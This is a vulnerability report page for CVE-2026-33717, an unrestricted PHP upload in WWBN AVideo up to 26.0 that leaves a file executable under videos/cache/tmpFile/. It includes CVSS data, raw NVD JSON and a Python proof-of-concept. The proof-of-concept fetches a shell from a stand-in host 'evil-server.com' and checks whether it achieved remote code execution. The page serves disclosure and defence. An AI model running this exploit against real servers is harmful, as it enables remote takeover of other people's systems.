Security Vulnerability Report
中文
CVE-2026-33717 CVSS 8.8 HIGH

CVE-2026-33717

Published: 2026-03-23 19:16:42
Last Modified: 2026-03-25 14:57:45

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_host = "http://target-avideo-server.com" attacker_controlled_url = "http://evil-server.com/shell.php" # Contains malicious PHP code # Exploit endpoint url = f"{target_host}/objects/aVideoEncoder.json.php" # Payload to trigger the vulnerability # An invalid 'resolution' triggers forbiddenPage() -> die() before cleanup data = { "downloadVideoFromDownloadURL": "1", "url": attacker_controlled_url, "resolution": "invalid_resolution_trigger" } print("[+] Sending exploit payload...") response = requests.post(url, data=data) if response.status_code == 200: print("[+] Payload sent. Check if file persisted.") # The file should be saved as videos/cache/tmpFile/shell.php shell_url = f"{target_host}/videos/cache/tmpFile/shell.php" print(f"[+] Attempting to access shell at: {shell_url}") r = requests.get(shell_url) if r.status_code == 200: print("[!] Exploit successful! RCE achieved.") else: print("[-] File not accessible.") else: print("[-] Request failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33717", "sourceIdentifier": "[email protected]", "published": "2026-03-23T19:16:42.497", "lastModified": "2026-03-25T14:57:45.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, la función `downloadVideoFromDownloadURL()` en `objects/aVideoEncoder.json.php` guarda contenido remoto en un directorio temporal accesible por web usando el nombre de archivo y la extensión de la URL original (incluyendo '.php'). Al proporcionar un parámetro `resolution` inválido, un atacante desencadena un `die()` temprano a través de `forbiddenPage()` antes de que el archivo temporal pueda ser movido o limpiado, dejando un archivo PHP ejecutable persistentemente accesible bajo la raíz web en `videos/cache/tmpFile/`. El commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}